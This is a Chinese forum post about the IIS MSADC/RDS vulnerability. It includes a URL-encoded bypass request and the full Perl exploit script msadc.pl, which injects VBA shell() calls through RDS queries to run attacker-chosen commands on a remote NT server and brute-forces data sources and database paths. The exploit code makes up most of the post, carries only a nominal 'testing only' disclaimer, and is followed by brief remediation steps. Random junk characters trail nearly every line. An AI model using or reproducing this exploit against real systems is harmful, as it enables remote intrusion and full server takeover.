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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 'NXN& {  
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涉及程序: \+oQd=K@  
Microsoft NT server 5Md=-,'J!  
sQ UM~HD\a  
描述: ="1Ind@w!  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 {nBhdM:i  
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详细: tzWSA-Li  
如果你没有时间读详细内容的话,就删除: .;y.]Z/;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Z, zWuE3  
有关的安全问题就没有了。 p,5i)nEFj  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 e8>})  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 lLX4Gq1  
关于利用ODBC远程漏洞的描述,请参看: ,uSMQS-O'4  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm GvtG(u~  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 lK?uXr7^  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp LiC*@W  
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这里不再论述。 2RVN\?s:  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0#7>o^2  
n*R])=F@c  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset g+8OekzB5  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /QK6Rac-  
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gDQ^)1k  
#将下面这段保存为txt文件,然后: "perl -x 文件名" G)AqbY  
%^)fmu  
#!perl L\6M^r >  
# JK7G/]j+Ez  
# MSADC/RDS 'usage' (aka exploit) script A9KET$i@v  
# P>y@kPi   
# by rain.forest.puppy :(E@Gf  
# 5N#aXG^9  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me A]_7}<<N  
# beta test and find errors! pQyK={7?`  
mxvp3t \  
use Socket; use Getopt::Std; lF<]8m%F  
getopts("e:vd:h:XR", \%args); N~nziY*C,*  
AwCcK6N1  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; _>o:R$ %}  
Hc;[Cs0  
if (!defined $args{h} && !defined $args{R}) { f$o_e90mu  
print qq~ vz@A;t  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3<e=g)F  
-h <host> = host you want to scan (ip or domain) Yj<a" Gr4[  
-d <seconds> = delay between calls, default 1 second J@/kIrx  
-X = dump Index Server path table, if available [7:,?$tC  
-v = verbose CQc+#nRe  
-e = external dictionary file for step 5 o3XvRj  
@JiLgIe `  
Or a -R will resume a command session 0.Q Ujw  
%HhBt5w  
~; exit;} 2,y|EpG#  
'NbHa!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; G~]Uk*M q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >1X|^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F0m-23[H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); [@_Jj3`4  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} cRC6 s8  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .y'>[  
3xy<tqfr  
if (!defined $args{R}){ $ret = &has_msadc; V%t.l  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} DcS+_>a\{l  
lwR<(u31e  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" _f7 9wx\B  
. "cmd /c "; ,=uD^n:  
$in=<STDIN>; chomp $in; W Tcw4  
$command="cmd /c " . $in ; c rQ8q;:  
h! ,v/7=  
if (defined $args{R}) {&load; exit;} 8:q1~`?5"b  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; OMk y$d#  
&try_btcustmr; Qry@ s5  
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print "\nStep 2: Trying to make our own DSN..."; xW+6qtG`  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; p0]=QH  
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print "\nStep 3: Trying known DSNs..."; ^23~ZHu  
&known_dsn; 1wii8B6  
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print "\nStep 4: Trying known .mdbs..."; Q1lyj7c#x  
&known_mdb; M+oHtX$  
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if (defined $args{e}){ 05|=`eJ  
print "\nStep 5: Trying dictionary of DSN names..."; TbMW|0 #w  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \a<wKTkn  
hy9\57_#  
print "Sorry Charley...maybe next time?\n"; @s*-%N^:[L  
exit; *nd!)t  
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############################################################################## _OYasJUMG  
?C]vS_jAh  
sub sendraw { # ripped and modded from whisker >:SHV W  
sleep($delay); # it's a DoS on the server! At least on mine... PhLn8jNti  
my ($pstr)=@_; pt?bWyKG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R- X5K-  
die("Socket problems\n"); ]43/`FX  
if(connect(S,pack "SnA4x8",2,80,$target)){ L]7=?vN=8  
select(S); $|=1; />C^WQI^  
print $pstr; my @in=<S>; 2 'l'8  
select(STDOUT); close(S); pR<`H'  
return @in; SV4E0c>  
} else { die("Can't connect...\n"); }} p;a,#IJu  
v{RZJ^1  
############################################################################## aNsBcov3O  
W@>% {eE  
sub make_header { # make the HTTP request gE-tjoJ  
my $msadc=<<EOT UJUEYG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 KV91)U  
User-Agent: ACTIVEDATA \eTwXe]Pv  
Host: $ip G+9,,`2  
Content-Length: $clen 0mp/Le5  
Connection: Keep-Alive qyb?49I  
t[HE6ea  
ADCClientVersion:01.06 VD AaYDi  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "37lx;CH  
v4<nI;Ux  
--!ADM!ROX!YOUR!WORLD! /*~EO{o  
Content-Type: application/x-varg $B+8Of  
Content-Length: $reqlen Q)#B0NA;T  
SZ7:u895E  
EOT ?9vuuIE  
; $msadc=~s/\n/\r\n/g; m<G,[Yc  
return $msadc;} 7jrt7[{  
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############################################################################## wKh4|Ka  
j{ ]I]\=?  
sub make_req { # make the RDS request alJ)^OSIe  
my ($switch, $p1, $p2)=@_; 2F;y;l%  
my $req=""; my $t1, $t2, $query, $dsn; E#34Wh2z  
_ >?\DgjH  
if ($switch==1){ # this is the btcustmr.mdb query xh-o}8*n"  
$query="Select * from Customers where City=" . make_shell(); z9f-.72"X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1}+3dB_s  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (le9q5Qr.  
Bg=wKwc8  
elsif ($switch==2){ # this is general make table query =}^9 wP  
$query="create table AZZ (B int, C varchar(10))"; AD> e?u  
$dsn="$p1";} _`$qBw.Nx  
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elsif ($switch==3){ # this is general exploit table query 299H$$WS,Z  
$query="select * from AZZ where C=" . make_shell(); g @Z))M+  
$dsn="$p1";} >dXGee>'M  
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elsif ($switch==4){ # attempt to hork file info from index server >IafUy  
$query="select path from scope()"; _rMg}F"  
$dsn="Provider=MSIDXS;";} AF{\6<m  
yZ7&b&2nLn  
elsif ($switch==5){ # bad query (y'hyJo  
$query="select"; zC:ASt  
$dsn="$p1";} b)#hSjWO#  
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$t1= make_unicode($query); n)/z0n!\  
$t2= make_unicode($dsn); r+!YI k  
$req = "\x02\x00\x03\x00"; \<h0Q,e  
$req.= "\x08\x00" . pack ("S1", length($t1)); gk4;>}  
$req.= "\x00\x00" . $t1 ; Z3e| UAif  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8LJ8 }%*  
$req.= "\x00\x00" . $t2 ; &, vcJ{.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,oe <  
return $req;} J-:.FKf\5l  
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############################################################################## nUr5Qn?  
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sub make_shell { # this makes the shell() statement CZe ]kXNv  
return "'|shell(\"$command\")|'";} ~hH REI&  
;1W6G=m  
############################################################################## <V'@ks%  
%Qgw7p4  
sub make_unicode { # quick little function to convert to unicode hW' )Sp  
my ($in)=@_; my $out; P;y45b  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } RU{twL.B  
return $out;} yF:1( 4  
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############################################################################## t,Lrfv])  
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sub rdo_success { # checks for RDO return success (this is kludge) E`JI>7  
my (@in) = @_; my $base=content_start(@in); 234p9A@  
if($in[$base]=~/multipart\/mixed/){ o 11jca|  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Xq4O@V  
return 0;} `RT>}_j  
iXkF1r]i  
############################################################################## qbr$>xH  
^6x%*/l|  
sub make_dsn { # this makes a DSN for us Hvauyx5T  
my @drives=("c","d","e","f"); ^0 )g/`H^>  
print "\nMaking DSN: "; G't$Qx,IC  
foreach $drive (@drives) { GKqm&/M*=  
print "$drive: "; ;O5zUl-`  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Ty\R=y}}  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ;C#F>SG\S  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); HWAdhDZ  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,pfG  
return 0 if $2 eq "404"; # not found/doesn't exist M^Yh|%M  
if($2 eq "200") { ja'T+!k  
foreach $line (@results) { #Pau\|e_  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} uc{Ihw  
} return 0;} g/_5unI}u  
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############################################################################## 2W(s(-hD  
I|!OY`ko  
sub verify_exists { 8%mu8l  
my ($page)=@_; MKCsv+   
my @results=sendraw("GET $page HTTP/1.0\n\n"); w "F 9l  
return $results[0];} \7eUw,~Q>  
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############################################################################## c):/!Q  
539>WyG5  
sub try_btcustmr { Es`Px_k  
my @drives=("c","d","e","f"); DK~xrU'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ~Cttzn]pR  
@;4zrzQi7  
foreach $dir (@dirs) { G>=*yqo  
print "$dir -> "; # fun status so you can see progress 7+cO_3AB  
foreach $drive (@drives) { C& f= ywi0  
print "$drive: "; # ditto l30EKoul)  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Wi<m{.%\E  
$reqlenlen=length( "$reqlen" ); =s{>Fsm1  
$clen= 206 + $reqlenlen + $reqlen; AN m d!  
>uB?rGcM  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 1\m[$Gs:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ]A `n( "%  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} iyE7V_O T  
t3ZOco@~P  
############################################################################## XJB)rP  
gg/-k;@ Rf  
sub odbc_error { iVr JQ  
my (@in)=@_; my $base; ]0OR_'?,  
my $base = content_start(@in); 2'Uu:Y^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this J{<X 7uB  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; CxmKz78  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :Ov6_x]*  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z6P$pqyF  
return $in[$base+4].$in[$base+5].$in[$base+6];} *a^(vo   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; B mb0cF Q  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . "{xrL4BtC  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} m7V/zne  
~=LE0.3[  
############################################################################## W i.& e  
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sub verbose { B-Hrex]  
my ($in)=@_; e>OoyDZ@R  
return if !$verbose; UDFDJm$  
print STDOUT "\n$in\n";} R w\gTo  
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############################################################################## h" W,WxL8  
A{zN | S[  
sub save { (mB&m@-N  
my ($p1, $p2, $p3, $p4)=@_; 2pCaX\t  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Rv>-4@fMJ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Q{>k1$fkV  
close OUT;}  K5 z<3+  
KF}hV9IU  
############################################################################## Dy&i&5E.-l  
=svN#q5s  
sub load { q<<v,ihh  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; wJqMa9|  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); o/)h"i0P  
@p=<IN>; close(IN); JR|ck=tq  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Y@iS_lR  
$target= inet_aton($ip) || die("inet_aton problems"); .Hm>i  
print "Resuming to $ip ..."; Jpq~  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t?gic9 q  
if($p[1]==1) { S hWJ72c  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ^76]0`gS  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; e9tjw[+A  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); WU` rh^  
if (rdo_success(@results)){print "Success!\n";} cjY-y-vO  
else { print "failed\n"; verbose(odbc_error(@results));}} 6MW{,N  
elsif ($p[1]==3){ ,`Z1m o>n  
if(run_query("$p[3]")){ %1L,Y  
print "Success!\n";} else { print "failed\n"; }} kD%( _K5  
elsif ($p[1]==4){ i]4I [!  
if(run_query($drvst . "$p[3]")){ ]W!0$'o  
print "Success!\n"; } else { print "failed\n"; }} !qg`/y9  
exit;} q2j{tP#  
>=>2m2z=  
############################################################################## v?$:@9pAk  
^ytrK Q  
sub create_table { JbbzV>  
my ($in)=@_; "sCRdx]_  
$reqlen=length( make_req(2,$in,"") ) - 28; qDIZJ h  
$reqlenlen=length( "$reqlen" ); U)gH}0n&  
$clen= 206 + $reqlenlen + $reqlen; =WATyY:s  
my @results=sendraw(make_header() . make_req(2,$in,"")); _VN?#J)o  
return 1 if rdo_success(@results); 3"i-o$P  
my $temp= odbc_error(@results); verbose($temp); HC8e>kP9b  
return 1 if $temp=~/Table 'AZZ' already exists/; '<<t]kK[N  
return 0;} L*+@>3mu)  
t{kG<J/l  
############################################################################## Llo"MO*sr  
G` A4|+W"  
sub known_dsn { +'a^f5  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go EVSX.'&f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", tk`v:t!6U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _{KG 4+5\X  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ND;#7/$>  
cI*;k.KU  
foreach $dSn (@dsns) { m(!FHPvN  
print "."; Fxz"DZY6  
next if (!is_access("DSN=$dSn")); xp{tw$  
if(create_table("DSN=$dSn")){ [q -h|m  
print "$dSn successful\n"; q9_OGd|P  
if(run_query("DSN=$dSn")){ " 8MF_Gu):  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7$=In K  
print "Something's borked. Use verbose next time\n";}}} print "\n";} M }D}K\)  
2ilQXy  
############################################################################## vE?G7%,  
aFYIM`?(  
sub is_access { oc`H}Wvn  
my ($in)=@_; F41=b4/  
$reqlen=length( make_req(5,$in,"") ) - 28; 3 0H?KAV  
$reqlenlen=length( "$reqlen" ); ,"ZMRq  
$clen= 206 + $reqlenlen + $reqlen; oPM96 (  
my @results=sendraw(make_header() . make_req(5,$in,"")); T5h H  
my $temp= odbc_error(@results); bd-L` ={j  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7NGxa6wi  
return 0;} i.m^/0!  
5;EvNu  
############################################################################## Q2gq}c~  
TeM|:o  
sub run_query { QWYJ *  
my ($in)=@_; m_]Y{3C  
$reqlen=length( make_req(3,$in,"") ) - 28; Xv^qVn4  
$reqlenlen=length( "$reqlen" ); R m( "=(  
$clen= 206 + $reqlenlen + $reqlen; }7Q%6&IR  
my @results=sendraw(make_header() . make_req(3,$in,"")); ga+dt  
return 1 if rdo_success(@results); 8ib:FF(= u  
my $temp= odbc_error(@results); verbose($temp); a~w$#fo"`f  
return 0;} L8B! u9%  
77Y/!~kd  
############################################################################## w?[upn:K  
7. oM J  
sub known_mdb { fHFE){  
my @drives=("c","d","e","f","g"); z} #JK? u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); k(HUUH_z  
my $dir, $drive, $mdb; ?@86P|19  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; %ET+iIhK  
g 7H(PF?  
# this is sparse, because I don't know of many XL ^GZ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", <5051U Eu  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 2+XA X:YD  
"\\system32\\certmdb.mdb", ;V!D :5U  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @VEb{ w[H  
}K(TjZR  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 9* M,R,y  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @yYkti;4-  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", zb3t IRH  
"\\cfusion\\cfapps\\security\\realm_.mdb", GbI/4<)l}  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", a7opCmL  
"\\cfusion\\database\\cfexamples.mdb", l/5 hp.  
"\\cfusion\\database\\cfsnippets.mdb", ^cWnF0)j.  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", oB7_O-3z  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", _[BP 0\dPW  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ;$4\e)AB  
"\\cfusion\\database\\smpolicy.mdb",  RRJ%:5&  
"\\cfusion\\database\cypress.mdb", 1% `Rs  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", e0 ecD3  
"\\website\\cgi-win\\dbsample.mdb", 5 qA'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |G<|F`Cj  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ccxNbU  
); #these are just 0y\Z9+G:  
foreach $drive (@drives) { i%?*@uj  
foreach $dir (@dirs){ YmG("z  
foreach $mdb (@sysmdbs) { SpBy3wd  
print "."; ~xTt204S  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -9?]IIVb  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ;_=&-mz  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ <P<z N~i9j  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 5^Zg>I  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4xj4=C~i  
h";L  
foreach $drive (@drives) { gX@aG9  
foreach $mdb (@mdbs) { DlJo^|5  
print "."; * T1_;4i  
if(create_table($drv . $drive . $dir . $mdb)){ {!`6zBsP  
print "\n" . $drive . $dir . $mdb . " successful\n"; #vlgwA  
if(run_query($drv . $drive . $dir . $mdb)){ lOp`m8_=  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 8@R|Km5h  
} else { print "Something's borked. Use verbose next time\n"; }}}} Fr-SvsNFB  
} 7tp36TE  
3so %gvY.'  
############################################################################## P+}h$ _x  
j~MI<I+l[  
sub hork_idx { WIGi51yC.x  
print "\nAttempting to dump Index Server tables...\n"; r JB}qYD  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Z_NCD`i;  
$reqlen=length( make_req(4,"","") ) - 28; =_^X3z0  
$reqlenlen=length( "$reqlen" ); * y,v}-  
$clen= 206 + $reqlenlen + $reqlen; ar,7S&s H  
my @results=sendraw2(make_header() . make_req(4,"","")); \U_@S.  
if (rdo_success(@results)){ LP=)~K<  
my $max=@results; my $c; my %d; n6 v6K1  
for($c=19; $c<$max; $c++){ x)&\z}  
$results[$c]=~s/\x00//g; -?a 26o%e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]M3yLYK/P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; zuCSj~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; U0+-W07>  
$d{"$1$2"}="";} MQ2_`pi  
foreach $c (keys %d){ print "$c\n"; } mE[y SrV  
} else {print "Index server doesn't seem to be installed.\n"; }} V]^$S"Tv  
jEwIn1  
############################################################################## An@t?#4gxi  
ssL\g`xe  
sub dsn_dict { xSu >  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F0# 'WfM#  
while(<IN>){ ,,r>,Xq 6  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7:@'B|  
next if (!is_access("DSN=$dSn")); AXB7oV,xt  
if(create_table("DSN=$dSn")){ Ys7]B9/1O  
print "$dSn successful\n"; 'GScszz  
if(run_query("DSN=$dSn")){ ;{6~Bq9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { < %Y}R\s?  
print "Something's borked. Use verbose next time\n";}}} ,x$,l  
print "\n"; close(IN);} ^zr`;cJ+c  
i30!}}N8  
############################################################################## pCG}Z Ka  
fqd^9wl>P6  
sub sendraw2 { # ripped and modded from whisker i/.6>4tE:  
sleep($delay); # it's a DoS on the server! At least on mine... lq uLT6]  
my ($pstr)=@_; A}!J$V:w]  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9BB=YnKE  
die("Socket problems\n"); HOi`$vX }N  
if(connect(S,pack "SnA4x8",2,80,$target)){ P<-@h1p,  
print "Connected. Getting data"; TA\vZGJ('  
open(OUT,">raw.out"); my @in; k:%%/  
select(S); $|=1; print $pstr; $~kA B8z  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} W*G<X.Hf  
close(OUT); select(STDOUT); close(S); return @in; Ort(AfW  
} else { die("Can't connect...\n"); }} p<%d2@lp  
76SXJ9@x  
############################################################################## !IR6 ,A\  
@VI@fN  
sub content_start { # this will take in the server headers "M0z(N kH  
my (@in)=@_; my $c; qgB_=Q#E  
for ($c=1;$c<500;$c++) { QV8g#&z  
if($in[$c] =~/^\x0d\x0a/){ -g<oS9   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } n+p }\msH  
else { return $c+1; }}} <ZW-QN4  
return -1;} # it should never get here actually XP}<N&j  
VN.Je: Ju  
############################################################################## kGJC\{N5N  
}B^tL$k  
sub funky { u@444Vzg  
my (@in)=@_; my $error=odbc_error(@in); 'fW-Y!k%  
if($error=~/ADO could not find the specified provider/){ 4e  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; y>LBl]  
exit;} 06jQE2z2R  
if($error=~/A Handler is required/){ tX[WH\(xI  
print "\nServer has custom handler filters (they most likely are patched)\n"; bd`P0f?  
exit;} F[MFx^sT{  
if($error=~/specified Handler has denied Access/){ MfkZ  
print "\nServer has custom handler filters (they most likely are patched)\n"; T>>c2$ x  
exit;}} _dU\JD  
Xc.`-J~Il  
############################################################################## #z42C?V  
cb bFw  
sub has_msadc { s[N@0  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); zeRyL3fnmb  
my $base=content_start(@results); m+9#5a-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 0`H# '/  
return 0;} qSQ~D(tO  
1*7@BP5  
######################## Zd&S@Z  
('~LMu_  
&Qm@9Is  
解决方案: V6Dbd" i9  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll tp|d*7^i  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t<qiGDJ<d  
}WV:erg`  
拿出来充数 哈哈
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